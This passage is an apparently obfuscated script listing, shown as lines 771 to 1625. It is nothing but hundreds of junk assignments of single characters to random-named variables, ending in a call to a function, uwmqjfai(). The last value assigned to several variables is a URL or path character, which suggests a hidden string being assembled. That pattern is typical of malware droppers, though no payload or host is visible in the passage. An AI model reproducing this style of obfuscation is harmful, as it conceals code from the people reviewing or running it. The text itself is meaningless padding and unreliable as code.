771 | zxvgdyhug = "f"; | |
772 | zxvgdyhug = "c"; | |
773 | zxvgdyhug = "n"; | |
774 | zxvgdyhug = "e"; | |
775 | zxvgdyhug = "Y"; | |
776 | zxvgdyhug = "D"; | |
777 | zxvgdyhug = "J"; | |
778 | zxvgdyhug = "J"; | |
779 | zxvgdyhug = "V"; | |
780 | zxvgdyhug = "e"; | |
781 | zxvgdyhug = "0"; | |
782 | suurq = "P"; | |
783 | suurq = "b"; | |
784 | suurq = "B"; | |
785 | suurq = "t"; | |
786 | suurq = "Q"; | |
787 | suurq = "u"; | |
788 | suurq = "u"; | |
789 | suurq = "g"; | |
790 | suurq = "x"; | |
791 | suurq = "Z"; | |
792 | suurq = "U"; | |
793 | suurq = "n"; | |
794 | suurq = "K"; | |
795 | suurq = "q"; | |
796 | suurq = "K"; | |
797 | suurq = "z"; | |
798 | suurq = "h"; | |
799 | suurq = "g"; | |
800 | suurq = "B"; | |
801 | suurq = "n"; | |
802 | suurq = "E"; | |
803 | suurq = "J"; | |
804 | suurq = "V"; | |
805 | suurq = "y"; | |
806 | suurq = "M"; | |
807 | suurq = "Y"; | |
808 | suurq = "Q"; | |
809 | suurq = "p"; | |
810 | suurq = "q"; | |
811 | suurq = "B"; | |
812 | suurq = "A"; | |
813 | suurq = "u"; | |
814 | suurq = "R"; | |
815 | suurq = "T"; | |
816 | suurq = "i"; | |
817 | crkix = "n"; | |
818 | crkix = "B"; | |
819 | crkix = "L"; | |
820 | crkix = "Z"; | |
821 | crkix = "o"; | |
822 | crkix = "k"; | |
823 | crkix = "e"; | |
824 | crkix = "O"; | |
825 | crkix = "f"; | |
826 | crkix = "A"; | |
827 | crkix = "x"; | |
828 | crkix = "A"; | |
829 | crkix = "v"; | |
830 | crkix = "U"; | |
831 | crkix = "o"; | |
832 | crkix = "G"; | |
833 | crkix = "Q"; | |
834 | crkix = "I"; | |
835 | crkix = "E"; | |
836 | crkix = "l"; | |
837 | crkix = "O"; | |
838 | crkix = "J"; | |
839 | crkix = "u"; | |
840 | crkix = "u"; | |
841 | crkix = "B"; | |
842 | crkix = "B"; | |
843 | crkix = "W"; | |
844 | crkix = "Z"; | |
845 | crkix = "U"; | |
846 | crkix = "A"; | |
847 | crkix = "u"; | |
848 | crkix = "g"; | |
849 | crkix = "e"; | |
850 | crkix = "r"; | |
851 | crkix = "K"; | |
852 | crkix = "k"; | |
853 | crkix = "f"; | |
854 | crkix = "N"; | |
855 | crkix = "G"; | |
856 | crkix = "F"; | |
857 | crkix = "I"; | |
858 | crkix = "a"; | |
859 | ruczaonm = "R"; | |
860 | ruczaonm = "D"; | |
861 | ruczaonm = "e"; | |
862 | ruczaonm = "b"; | |
863 | ruczaonm = "R"; | |
864 | ruczaonm = "K"; | |
865 | ruczaonm = "M"; | |
866 | ruczaonm = "E"; | |
867 | ruczaonm = "j"; | |
868 | ruczaonm = "C"; | |
869 | ruczaonm = "v"; | |
870 | ruczaonm = "C"; | |
871 | ruczaonm = "V"; | |
872 | ruczaonm = "V"; | |
873 | ruczaonm = "m"; | |
874 | ruczaonm = "B"; | |
875 | ruczaonm = "w"; | |
876 | ruczaonm = "v"; | |
877 | ruczaonm = "b"; | |
878 | ruczaonm = "m"; | |
879 | ruczaonm = "q"; | |
880 | ruczaonm = "o"; | |
881 | ruczaonm = "J"; | |
882 | ruczaonm = "r"; | |
883 | ruczaonm = "b"; | |
884 | ruczaonm = "M"; | |
885 | ruczaonm = "V"; | |
886 | ruczaonm = "j"; | |
887 | ruczaonm = "O"; | |
888 | ruczaonm = "W"; | |
889 | ruczaonm = "C"; | |
890 | ruczaonm = "S"; | |
891 | ruczaonm = "u"; | |
892 | ruczaonm = "f"; | |
893 | ruczaonm = "d"; | |
894 | ruczaonm = "u"; | |
895 | xsldnitjh = "C"; | |
896 | xsldnitjh = "U"; | |
897 | xsldnitjh = "D"; | |
898 | xsldnitjh = "H"; | |
899 | xsldnitjh = "l"; | |
900 | xsldnitjh = "v"; | |
901 | xsldnitjh = "H"; | |
902 | xsldnitjh = "g"; | |
903 | xsldnitjh = "U"; | |
904 | xsldnitjh = "s"; | |
905 | xsldnitjh = "R"; | |
906 | xsldnitjh = "F"; | |
907 | xsldnitjh = "l"; | |
908 | xsldnitjh = "&"; | |
909 | ftfkwxr = "B"; | |
910 | ftfkwxr = "A"; | |
911 | ftfkwxr = "X"; | |
912 | ftfkwxr = "q"; | |
913 | ftfkwxr = "D"; | |
914 | ftfkwxr = "i"; | |
915 | ftfkwxr = "I"; | |
916 | ftfkwxr = "u"; | |
917 | ftfkwxr = "w"; | |
918 | ftfkwxr = "h"; | |
919 | ftfkwxr = "a"; | |
920 | ftfkwxr = "P"; | |
921 | ftfkwxr = "D"; | |
922 | ftfkwxr = "K"; | |
923 | ftfkwxr = "p"; | |
924 | ftfkwxr = "f"; | |
925 | ftfkwxr = "Y"; | |
926 | ftfkwxr = "o"; | |
927 | ftfkwxr = "m"; | |
928 | ftfkwxr = "L"; | |
929 | ftfkwxr = "q"; | |
930 | ftfkwxr = "/"; | |
931 | ycocvilen = "y"; | |
932 | ycocvilen = "S"; | |
933 | ycocvilen = "q"; | |
934 | ycocvilen = "V"; | |
935 | ycocvilen = "u"; | |
936 | ycocvilen = "h"; | |
937 | ycocvilen = "C"; | |
938 | ycocvilen = "x"; | |
939 | ycocvilen = "k"; | |
940 | ycocvilen = "E"; | |
941 | ycocvilen = "Z"; | |
942 | ycocvilen = "m"; | |
943 | ycocvilen = "n"; | |
944 | ycocvilen = "Y"; | |
945 | ycocvilen = "f"; | |
946 | ycocvilen = "w"; | |
947 | ycocvilen = "F"; | |
948 | ycocvilen = "h"; | |
949 | ycocvilen = "o"; | |
950 | ycocvilen = "Z"; | |
951 | ycocvilen = "K"; | |
952 | ycocvilen = "j"; | |
953 | ycocvilen = "t"; | |
954 | sypzvbpp = "t"; | |
955 | sypzvbpp = "S"; | |
956 | sypzvbpp = "S"; | |
957 | sypzvbpp = "W"; | |
958 | sypzvbpp = "M"; | |
959 | sypzvbpp = "B"; | |
960 | sypzvbpp = "o"; | |
961 | sypzvbpp = "Y"; | |
962 | sypzvbpp = "c"; | |
963 | sypzvbpp = "I"; | |
964 | sypzvbpp = "p"; | |
965 | sypzvbpp = "A"; | |
966 | sypzvbpp = "g"; | |
967 | sypzvbpp = "f"; | |
968 | sypzvbpp = "Y"; | |
969 | sypzvbpp = "W"; | |
970 | sypzvbpp = "j"; | |
971 | sypzvbpp = "G"; | |
972 | sypzvbpp = "M"; | |
973 | sypzvbpp = "x"; | |
974 | sypzvbpp = "y"; | |
975 | sypzvbpp = "z"; | |
976 | sypzvbpp = "f"; | |
977 | sypzvbpp = "W"; | |
978 | sypzvbpp = "C"; | |
979 | sypzvbpp = "V"; | |
980 | sypzvbpp = "G"; | |
981 | sypzvbpp = "U"; | |
982 | sypzvbpp = "B"; | |
983 | sypzvbpp = "s"; | |
984 | sypzvbpp = "D"; | |
985 | sypzvbpp = "j"; | |
986 | sypzvbpp = "M"; | |
987 | sypzvbpp = "L"; | |
988 | sypzvbpp = "i"; | |
989 | sypzvbpp = "i"; | |
990 | sypzvbpp = "W"; | |
991 | sypzvbpp = "G"; | |
992 | sypzvbpp = "x"; | |
993 | sypzvbpp = "."; | |
994 | aqqesilbz = "E"; | |
995 | aqqesilbz = "m"; | |
996 | aqqesilbz = "A"; | |
997 | aqqesilbz = "j"; | |
998 | aqqesilbz = "i"; | |
999 | aqqesilbz = "y"; | |
1000 | aqqesilbz = "A"; | |
1001 | aqqesilbz = "m"; | |
1002 | aqqesilbz = "J"; | |
1003 | aqqesilbz = "M"; | |
1004 | aqqesilbz = "g"; | |
1005 | aqqesilbz = "e"; | |
1006 | aqqesilbz = "O"; | |
1007 | aqqesilbz = "h"; | |
1008 | aqqesilbz = "j"; | |
1009 | aqqesilbz = "h"; | |
1010 | aqqesilbz = "J"; | |
1011 | aqqesilbz = "F"; | |
1012 | aqqesilbz = "U"; | |
1013 | aqqesilbz = "h"; | |
1014 | aqqesilbz = "G"; | |
1015 | aqqesilbz = "N"; | |
1016 | aqqesilbz = "s"; | |
1017 | aqqesilbz = "b"; | |
1018 | aqqesilbz = "l"; | |
1019 | aqqesilbz = "O"; | |
1020 | aqqesilbz = "z"; | |
1021 | aqqesilbz = "W"; | |
1022 | aqqesilbz = "b"; | |
1023 | aqqesilbz = "Y"; | |
1024 | zfjnnqj = "Y"; | |
1025 | zfjnnqj = "V"; | |
1026 | zfjnnqj = "s"; | |
1027 | zfjnnqj = "B"; | |
1028 | zfjnnqj = "p"; | |
1029 | zfjnnqj = "L"; | |
1030 | zfjnnqj = "x"; | |
1031 | zfjnnqj = "t"; | |
1032 | zfjnnqj = "R"; | |
1033 | zfjnnqj = "C"; | |
1034 | zfjnnqj = "z"; | |
1035 | zfjnnqj = "T"; | |
1036 | zfjnnqj = "P"; | |
1037 | zfjnnqj = "s"; | |
1038 | zfjnnqj = "F"; | |
1039 | zfjnnqj = "W"; | |
1040 | zfjnnqj = "u"; | |
1041 | zfjnnqj = "q"; | |
1042 | zfjnnqj = "f"; | |
1043 | zfjnnqj = "R"; | |
1044 | zfjnnqj = "Z"; | |
1045 | zfjnnqj = "W"; | |
1046 | zfjnnqj = "w"; | |
1047 | zfjnnqj = "O"; | |
1048 | zfjnnqj = "G"; | |
1049 | zfjnnqj = "u"; | |
1050 | zfjnnqj = "X"; | |
1051 | zfjnnqj = "k"; | |
1052 | zfjnnqj = "O"; | |
1053 | zfjnnqj = "J"; | |
1054 | zfjnnqj = "J"; | |
1055 | zfjnnqj = "q"; | |
1056 | zfjnnqj = "l"; | |
1057 | zfjnnqj = "w"; | |
1058 | zfjnnqj = "o"; | |
1059 | zfjnnqj = "t"; | |
1060 | zfjnnqj = "w"; | |
1061 | zfjnnqj = "F"; | |
1062 | zfjnnqj = "B"; | |
1063 | zfjnnqj = "u"; | |
1064 | zfjnnqj = "y"; | |
1065 | zfjnnqj = "V"; | |
1066 | zfjnnqj = "u"; | |
1067 | zfjnnqj = "n"; | |
1068 | ucyiey = "R"; | |
1069 | ucyiey = "E"; | |
1070 | ucyiey = "M"; | |
1071 | ucyiey = "T"; | |
1072 | ucyiey = "H"; | |
1073 | ucyiey = "l"; | |
1074 | ucyiey = "c"; | |
1075 | ucyiey = "R"; | |
1076 | ucyiey = "w"; | |
1077 | ucyiey = "W"; | |
1078 | ucyiey = "X"; | |
1079 | ucyiey = "W"; | |
1080 | ucyiey = "d"; | |
1081 | ucyiey = "Y"; | |
1082 | ucyiey = "b"; | |
1083 | ucyiey = "Q"; | |
1084 | ucyiey = "l"; | |
1085 | ucyiey = "b"; | |
1086 | ucyiey = "C"; | |
1087 | ucyiey = "F"; | |
1088 | ucyiey = "f"; | |
1089 | ucyiey = "H"; | |
1090 | ucyiey = "C"; | |
1091 | ucyiey = "z"; | |
1092 | ucyiey = "S"; | |
1093 | ucyiey = "J"; | |
1094 | ucyiey = "y"; | |
1095 | ucyiey = "R"; | |
1096 | ucyiey = "W"; | |
1097 | ucyiey = "n"; | |
1098 | ucyiey = "M"; | |
1099 | ucyiey = "R"; | |
1100 | ucyiey = "M"; | |
1101 | ucyiey = "I"; | |
1102 | ucyiey = "p"; | |
1103 | ucyiey = "A"; | |
1104 | ucyiey = "y"; | |
1105 | ucyiey = "l"; | |
1106 | ucyiey = "q"; | |
1107 | ucyiey = "s"; | |
1108 | ucyiey = "F"; | |
1109 | ucyiey = "x"; | |
1110 | ucyiey = "c"; | |
1111 | ucyiey = "m"; | |
1112 | ucyiey = "U"; | |
1113 | ikbdhduw = "c"; | |
1114 | ikbdhduw = "j"; | |
1115 | ikbdhduw = "Y"; | |
1116 | ikbdhduw = "K"; | |
1117 | ikbdhduw = "B"; | |
1118 | ikbdhduw = "e"; | |
1119 | ikbdhduw = "G"; | |
1120 | ikbdhduw = "u"; | |
1121 | ikbdhduw = "J"; | |
1122 | ikbdhduw = "f"; | |
1123 | ikbdhduw = "c"; | |
1124 | ikbdhduw = "O"; | |
1125 | ikbdhduw = "x"; | |
1126 | ikbdhduw = "V"; | |
1127 | ikbdhduw = "x"; | |
1128 | ikbdhduw = "r"; | |
1129 | ikbdhduw = "X"; | |
1130 | ikbdhduw = "O"; | |
1131 | ikbdhduw = "s"; | |
1132 | ikbdhduw = "B"; | |
1133 | ikbdhduw = "i"; | |
1134 | ikbdhduw = "O"; | |
1135 | ikbdhduw = "N"; | |
1136 | ikbdhduw = "f"; | |
1137 | ikbdhduw = "g"; | |
1138 | owjplm = "w"; | |
1139 | owjplm = "w"; | |
1140 | owjplm = "U"; | |
1141 | owjplm = "L"; | |
1142 | owjplm = "i"; | |
1143 | owjplm = "v"; | |
1144 | owjplm = "K"; | |
1145 | owjplm = "l"; | |
1146 | owjplm = "M"; | |
1147 | owjplm = "V"; | |
1148 | owjplm = "O"; | |
1149 | owjplm = "E"; | |
1150 | owjplm = "j"; | |
1151 | owjplm = "J"; | |
1152 | owjplm = "N"; | |
1153 | owjplm = "D"; | |
1154 | owjplm = "d"; | |
1155 | owjplm = "B"; | |
1156 | owjplm = "q"; | |
1157 | owjplm = "O"; | |
1158 | owjplm = "P"; | |
1159 | owjplm = "o"; | |
1160 | owjplm = "H"; | |
1161 | owjplm = "g"; | |
1162 | owjplm = "I"; | |
1163 | owjplm = "7"; | |
1164 | ecuvyftpo = "N"; | |
1165 | ecuvyftpo = "h"; | |
1166 | ecuvyftpo = "J"; | |
1167 | ecuvyftpo = "a"; | |
1168 | ecuvyftpo = "k"; | |
1169 | ecuvyftpo = "O"; | |
1170 | ecuvyftpo = "K"; | |
1171 | ecuvyftpo = "t"; | |
1172 | ecuvyftpo = "M"; | |
1173 | ecuvyftpo = "h"; | |
1174 | ecuvyftpo = "r"; | |
1175 | ecuvyftpo = "q"; | |
1176 | ecuvyftpo = "Q"; | |
1177 | ecuvyftpo = "H"; | |
1178 | ecuvyftpo = "K"; | |
1179 | ecuvyftpo = "C"; | |
1180 | ecuvyftpo = "z"; | |
1181 | ecuvyftpo = "J"; | |
1182 | ecuvyftpo = "J"; | |
1183 | ecuvyftpo = "m"; | |
1184 | ecuvyftpo = "I"; | |
1185 | ecuvyftpo = "R"; | |
1186 | ecuvyftpo = "W"; | |
1187 | ecuvyftpo = "G"; | |
1188 | ecuvyftpo = "U"; | |
1189 | ecuvyftpo = "v"; | |
1190 | ecuvyftpo = "r"; | |
1191 | cofykiy = "O"; | |
1192 | cofykiy = "e"; | |
1193 | cofykiy = "x"; | |
1194 | cofykiy = "R"; | |
1195 | cofykiy = "q"; | |
1196 | cofykiy = "J"; | |
1197 | cofykiy = "C"; | |
1198 | cofykiy = "H"; | |
1199 | cofykiy = "w"; | |
1200 | cofykiy = "i"; | |
1201 | cofykiy = "A"; | |
1202 | cofykiy = "R"; | |
1203 | cofykiy = "n"; | |
1204 | cofykiy = "v"; | |
1205 | cofykiy = "a"; | |
1206 | cofykiy = "y"; | |
1207 | cofykiy = "m"; | |
1208 | cofykiy = "V"; | |
1209 | cofykiy = "i"; | |
1210 | cofykiy = "W"; | |
1211 | cofykiy = "Y"; | |
1212 | cofykiy = "h"; | |
1213 | cofykiy = "N"; | |
1214 | cofykiy = "Q"; | |
1215 | cofykiy = "I"; | |
1216 | cofykiy = "d"; | |
1217 | cofykiy = "k"; | |
1218 | cofykiy = "y"; | |
1219 | cofykiy = "r"; | |
1220 | cofykiy = "m"; | |
1221 | cofykiy = "L"; | |
1222 | cofykiy = "b"; | |
1223 | cofykiy = "N"; | |
1224 | cofykiy = "m"; | |
1225 | cofykiy = "B"; | |
1226 | cofykiy = "q"; | |
1227 | cofykiy = "L"; | |
1228 | cofykiy = "U"; | |
1229 | cofykiy = "S"; | |
1230 | cofykiy = "k"; | |
1231 | cofykiy = "m"; | |
1232 | cofykiy = " "; | |
1233 | ngtkg = "v"; | |
1234 | ngtkg = "D"; | |
1235 | ngtkg = "b"; | |
1236 | ngtkg = "o"; | |
1237 | emwbt = "f"; | |
1238 | emwbt = "c"; | |
1239 | emwbt = "U"; | |
1240 | emwbt = "i"; | |
1241 | emwbt = "f"; | |
1242 | emwbt = "X"; | |
1243 | emwbt = "U"; | |
1244 | emwbt = "@"; | |
1245 | xocwkf = "Q"; | |
1246 | xocwkf = "N"; | |
1247 | xocwkf = "A"; | |
1248 | xocwkf = "G"; | |
1249 | xocwkf = "z"; | |
1250 | xocwkf = "d"; | |
1251 | xocwkf = "w"; | |
1252 | xocwkf = "H"; | |
1253 | xocwkf = "q"; | |
1254 | xocwkf = "x"; | |
1255 | xocwkf = "O"; | |
1256 | xocwkf = "T"; | |
1257 | xocwkf = "a"; | |
1258 | xocwkf = "i"; | |
1259 | xocwkf = "u"; | |
1260 | xocwkf = "M"; | |
1261 | xocwkf = "f"; | |
1262 | xocwkf = "e"; | |
1263 | xocwkf = "t"; | |
1264 | xocwkf = "w"; | |
1265 | xocwkf = "K"; | |
1266 | xocwkf = "r"; | |
1267 | xocwkf = "F"; | |
1268 | xocwkf = "i"; | |
1269 | xocwkf = "c"; | |
1270 | xocwkf = "u"; | |
1271 | xocwkf = "t"; | |
1272 | xocwkf = "f"; | |
1273 | xocwkf = "A"; | |
1274 | xocwkf = "z"; | |
1275 | xocwkf = "C"; | |
1276 | xocwkf = "T"; | |
1277 | xocwkf = "P"; | |
1278 | xocwkf = "y"; | |
1279 | xocwkf = "Z"; | |
1280 | xocwkf = "t"; | |
1281 | xocwkf = "h"; | |
1282 | xocwkf = "S"; | |
1283 | xocwkf = "T"; | |
1284 | ddughobfj = ":"; | |
1285 | igrwcznq = "S"; | |
1286 | igrwcznq = "a"; | |
1287 | igrwcznq = "h"; | |
1288 | igrwcznq = "C"; | |
1289 | igrwcznq = "A"; | |
1290 | igrwcznq = "B"; | |
1291 | igrwcznq = "N"; | |
1292 | igrwcznq = "u"; | |
1293 | igrwcznq = "N"; | |
1294 | igrwcznq = "s"; | |
1295 | igrwcznq = "l"; | |
1296 | igrwcznq = "z"; | |
1297 | igrwcznq = "i"; | |
1298 | igrwcznq = "t"; | |
1299 | igrwcznq = "\""; | |
1300 | lkoihh = "f"; | |
1301 | lkoihh = "p"; | |
1302 | lkoihh = "e"; | |
1303 | lkoihh = "v"; | |
1304 | lkoihh = "g"; | |
1305 | lkoihh = "u"; | |
1306 | lkoihh = "Q"; | |
1307 | lkoihh = "P"; | |
1308 | lkoihh = "y"; | |
1309 | lkoihh = "E"; | |
1310 | lkoihh = "l"; | |
1311 | lkoihh = "w"; | |
1312 | lkoihh = "m"; | |
1313 | lkoihh = "f"; | |
1314 | lkoihh = "q"; | |
1315 | lkoihh = "U"; | |
1316 | lkoihh = "w"; | |
1317 | lkoihh = "u"; | |
1318 | lkoihh = "C"; | |
1319 | lkoihh = "u"; | |
1320 | lkoihh = "p"; | |
1321 | lkoihh = "w"; | |
1322 | lkoihh = "U"; | |
1323 | lkoihh = "N"; | |
1324 | lkoihh = "O"; | |
1325 | lkoihh = "f"; | |
1326 | lkoihh = "h"; | |
1327 | lkoihh = "E"; | |
1328 | lkoihh = "d"; | |
1329 | lkoihh = "F"; | |
1330 | lkoihh = "M"; | |
1331 | lkoihh = "B"; | |
1332 | lkoihh = "G"; | |
1333 | lkoihh = "t"; | |
1334 | lkoihh = "o"; | |
1335 | lkoihh = "J"; | |
1336 | lkoihh = "b"; | |
1337 | lkoihh = "Z"; | |
1338 | lkoihh = "v"; | |
1339 | lkoihh = "a"; | |
1340 | lkoihh = "\\"; | |
1341 | qdvjkle = "x"; | |
1342 | qdvjkle = "a"; | |
1343 | qdvjkle = "j"; | |
1344 | qdvjkle = "H"; | |
1345 | qdvjkle = "j"; | |
1346 | qdvjkle = "C"; | |
1347 | qdvjkle = "O"; | |
1348 | qdvjkle = "p"; | |
1349 | qdvjkle = "C"; | |
1350 | qdvjkle = "B"; | |
1351 | qdvjkle = "P"; | |
1352 | qdvjkle = "F"; | |
1353 | qdvjkle = "T"; | |
1354 | qdvjkle = "c"; | |
1355 | qdvjkle = "2"; | |
1356 | aaycdfmx = "i"; | |
1357 | aaycdfmx = "k"; | |
1358 | aaycdfmx = "G"; | |
1359 | aaycdfmx = "h"; | |
1360 | aaycdfmx = "Q"; | |
1361 | aaycdfmx = "j"; | |
1362 | aaycdfmx = "K"; | |
1363 | aaycdfmx = "r"; | |
1364 | aaycdfmx = "U"; | |
1365 | aaycdfmx = "m"; | |
1366 | aaycdfmx = "N"; | |
1367 | aaycdfmx = "k"; | |
1368 | ucmvu = "l"; | |
1369 | ucmvu = "A"; | |
1370 | ucmvu = "k"; | |
1371 | ucmvu = "V"; | |
1372 | ucmvu = "t"; | |
1373 | ucmvu = "Q"; | |
1374 | ucmvu = "A"; | |
1375 | ucmvu = "v"; | |
1376 | ucmvu = "f"; | |
1377 | ucmvu = "w"; | |
1378 | ucmvu = "C"; | |
1379 | ucmvu = "f"; | |
1380 | ucmvu = "f"; | |
1381 | ucmvu = "D"; | |
1382 | ucmvu = "g"; | |
1383 | ucmvu = "f"; | |
1384 | ucmvu = "H"; | |
1385 | ucmvu = "U"; | |
1386 | ucmvu = "X"; | |
1387 | ucmvu = "B"; | |
1388 | ucmvu = "U"; | |
1389 | ucmvu = "I"; | |
1390 | ucmvu = "w"; | |
1391 | ucmvu = "r"; | |
1392 | ucmvu = "l"; | |
1393 | ucmvu = "k"; | |
1394 | ucmvu = "s"; | |
1395 | ucmvu = "V"; | |
1396 | ucmvu = "f"; | |
1397 | ucmvu = "O"; | |
1398 | wtdui = "c"; | |
1399 | wtdui = "O"; | |
1400 | wtdui = "J"; | |
1401 | wtdui = "v"; | |
1402 | wtdui = "j"; | |
1403 | wtdui = "C"; | |
1404 | wtdui = "J"; | |
1405 | wtdui = "N"; | |
1406 | wtdui = "y"; | |
1407 | wtdui = "g"; | |
1408 | wtdui = "c"; | |
1409 | wtdui = "D"; | |
1410 | wtdui = "m"; | |
1411 | wtdui = "a"; | |
1412 | wtdui = "a"; | |
1413 | wtdui = "h"; | |
1414 | yntxgtlwr = "A"; | |
1415 | yntxgtlwr = "i"; | |
1416 | yntxgtlwr = "Y"; | |
1417 | yntxgtlwr = "f"; | |
1418 | yntxgtlwr = "y"; | |
1419 | yntxgtlwr = "l"; | |
1420 | yntxgtlwr = "Z"; | |
1421 | yntxgtlwr = "B"; | |
1422 | yntxgtlwr = "q"; | |
1423 | yntxgtlwr = "T"; | |
1424 | yntxgtlwr = "p"; | |
1425 | yntxgtlwr = "o"; | |
1426 | yntxgtlwr = "F"; | |
1427 | yntxgtlwr = "R"; | |
1428 | yntxgtlwr = "c"; | |
1429 | yntxgtlwr = "D"; | |
1430 | yntxgtlwr = "q"; | |
1431 | yntxgtlwr = "J"; | |
1432 | yntxgtlwr = "N"; | |
1433 | yntxgtlwr = "p"; | |
1434 | yntxgtlwr = "l"; | |
1435 | yntxgtlwr = "M"; | |
1436 | yntxgtlwr = "V"; | |
1437 | yntxgtlwr = "x"; | |
1438 | yntxgtlwr = "R"; | |
1439 | yntxgtlwr = "W"; | |
1440 | yntxgtlwr = "w"; | |
1441 | yntxgtlwr = "c"; | |
1442 | yntxgtlwr = "p"; | |
1443 | yntxgtlwr = "r"; | |
1444 | yntxgtlwr = "e"; | |
1445 | yntxgtlwr = "-"; | |
1446 | jrsua = "E"; | |
1447 | jrsua = "i"; | |
1448 | jrsua = "C"; | |
1449 | jrsua = "k"; | |
1450 | jrsua = "w"; | |
1451 | jrsua = "F"; | |
1452 | jrsua = "M"; | |
1453 | jrsua = "j"; | |
1454 | jrsua = "i"; | |
1455 | jrsua = "C"; | |
1456 | jrsua = "u"; | |
1457 | jrsua = "F"; | |
1458 | jrsua = "v"; | |
1459 | jrsua = "o"; | |
1460 | jrsua = "I"; | |
1461 | jrsua = "Q"; | |
1462 | jrsua = "C"; | |
1463 | jrsua = "s"; | |
1464 | jrsua = "i"; | |
1465 | jrsua = "o"; | |
1466 | jrsua = "n"; | |
1467 | jrsua = "D"; | |
1468 | jrsua = "J"; | |
1469 | jrsua = "F"; | |
1470 | mhfmvafj = "d"; | |
1471 | mhfmvafj = "s"; | |
1472 | mhfmvafj = "m"; | |
1473 | mhfmvafj = "L"; | |
1474 | mhfmvafj = "B"; | |
1475 | mhfmvafj = "e"; | |
1476 | mhfmvafj = "b"; | |
1477 | mhfmvafj = "p"; | |
1478 | mhfmvafj = "H"; | |
1479 | mhfmvafj = "W"; | |
1480 | mhfmvafj = "a"; | |
1481 | mhfmvafj = "t"; | |
1482 | mhfmvafj = "T"; | |
1483 | mhfmvafj = "T"; | |
1484 | mhfmvafj = "t"; | |
1485 | mhfmvafj = "Z"; | |
1486 | mhfmvafj = "Q"; | |
1487 | mhfmvafj = "d"; | |
1488 | mhfmvafj = "K"; | |
1489 | mhfmvafj = "L"; | |
1490 | mhfmvafj = "p"; | |
1491 | mhfmvafj = "w"; | |
1492 | mhfmvafj = "d"; | |
1493 | mhfmvafj = "d"; | |
1494 | mhfmvafj = "i"; | |
1495 | mhfmvafj = "E"; | |
1496 | mhfmvafj = "f"; | |
1497 | mhfmvafj = "B"; | |
1498 | mhfmvafj = "V"; | |
1499 | mhfmvafj = "h"; | |
1500 | mhfmvafj = "Q"; | |
1501 | mhfmvafj = "L"; | |
1502 | mhfmvafj = "w"; | |
1503 | mhfmvafj = "J"; | |
1504 | mhfmvafj = "q"; | |
1505 | mhfmvafj = "U"; | |
1506 | mhfmvafj = "Y"; | |
1507 | mhfmvafj = "L"; | |
1508 | qpauemx = "b"; | |
1509 | qpauemx = "y"; | |
1510 | qpauemx = "u"; | |
1511 | qpauemx = "I"; | |
1512 | qpauemx = "d"; | |
1513 | qpauemx = "m"; | |
1514 | qpauemx = "s"; | |
1515 | qpauemx = "V"; | |
1516 | qpauemx = "d"; | |
1517 | qpauemx = "u"; | |
1518 | qpauemx = "r"; | |
1519 | qpauemx = "P"; | |
1520 | qpauemx = "I"; | |
1521 | qpauemx = "S"; | |
1522 | qpauemx = "Y"; | |
1523 | qpauemx = "X"; | |
1524 | qpauemx = "q"; | |
1525 | qpauemx = "a"; | |
1526 | qpauemx = "V"; | |
1527 | qpauemx = "R"; | |
1528 | qpauemx = "Y"; | |
1529 | qpauemx = "N"; | |
1530 | qpauemx = "U"; | |
1531 | qpauemx = "M"; | |
1532 | qpauemx = "A"; | |
1533 | qpauemx = "Q"; | |
1534 | qpauemx = "a"; | |
1535 | qpauemx = "N"; | |
1536 | qpauemx = "O"; | |
1537 | qpauemx = "k"; | |
1538 | qpauemx = "I"; | |
1539 | qpauemx = "O"; | |
1540 | qpauemx = "B"; | |
1541 | qpauemx = "r"; | |
1542 | qpauemx = "f"; | |
1543 | qpauemx = "h"; | |
1544 | qpauemx = "N"; | |
1545 | qpauemx = "P"; | |
1546 | qpauemx = "D"; | |
1547 | qpauemx = "E"; | |
1548 | qpauemx = "w"; | |
1549 | qpauemx = "j"; | |
1550 | qpauemx = "v"; | |
1551 | qpauemx = "I"; | |
1552 | ochyoudh = "d"; | |
1553 | ochyoudh = "c"; | |
1554 | ochyoudh = "r"; | |
1555 | ochyoudh = "j"; | |
1556 | ochyoudh = "V"; | |
1557 | ochyoudh = "I"; | |
1558 | ochyoudh = "l"; | |
1559 | ochyoudh = "y"; | |
1560 | ochyoudh = "F"; | |
1561 | ochyoudh = "q"; | |
1562 | ochyoudh = "w"; | |
1563 | ochyoudh = "b"; | |
1564 | ochyoudh = "E"; | |
1565 | ochyoudh = "Z"; | |
1566 | ochyoudh = "z"; | |
1567 | ochyoudh = "C"; | |
1568 | ochyoudh = "d"; | |
1569 | ochyoudh = "B"; | |
1570 | ochyoudh = "K"; | |
1571 | ochyoudh = "C"; | |
1572 | ochyoudh = "G"; | |
1573 | ochyoudh = "Y"; | |
1574 | ochyoudh = "e"; | |
1575 | ochyoudh = "g"; | |
1576 | ochyoudh = "b"; | |
1577 | ochyoudh = "o"; | |
1578 | ochyoudh = "T"; | |
1579 | ochyoudh = "e"; | |
1580 | ochyoudh = "W"; | |
1581 | ochyoudh = "n"; | |
1582 | ochyoudh = "g"; | |
1583 | ochyoudh = "r"; | |
1584 | ochyoudh = "u"; | |
1585 | ochyoudh = "X"; | |
1586 | ochyoudh = "W"; | |
1587 | ochyoudh = "H"; | |
1588 | ochyoudh = "U"; | |
1589 | ochyoudh = "f"; | |
1590 | ochyoudh = "S"; | |
1591 | ochyoudh = "6"; | |
1592 | ygnzbhp = "q"; | |
1593 | ygnzbhp = "n"; | |
1594 | ygnzbhp = "o"; | |
1595 | ygnzbhp = "E"; | |
1596 | ygnzbhp = "p"; | |
1597 | ygnzbhp = "Z"; | |
1598 | ygnzbhp = "v"; | |
1599 | ygnzbhp = "H"; | |
1600 | ygnzbhp = "G"; | |
1601 | ygnzbhp = "k"; | |
1602 | ygnzbhp = "N"; | |
1603 | ygnzbhp = "X"; | |
1604 | ygnzbhp = "Z"; | |
1605 | ygnzbhp = "g"; | |
1606 | ygnzbhp = "s"; | |
1607 | ygnzbhp = "N"; | |
1608 | ygnzbhp = "P"; | |
1609 | ygnzbhp = "Y"; | |
1610 | ygnzbhp = "h"; | |
1611 | ygnzbhp = "U"; | |
1612 | ygnzbhp = "T"; | |
1613 | ygnzbhp = "I"; | |
1614 | ygnzbhp = "u"; | |
1615 | ygnzbhp = "W"; | |
1616 | ygnzbhp = "S"; | |
1617 | ygnzbhp = "U"; | |
1618 | ygnzbhp = "X"; | |
1619 | ygnzbhp = "b"; | |
1620 | ygnzbhp = "K"; | |
1621 | ygnzbhp = "u"; | |
1622 | ygnzbhp = "T"; | |
1623 | ygnzbhp = "S"; | |
1624 | ygnzbhp = "j"; | |
1625 | uwmqjfai ( ); |
|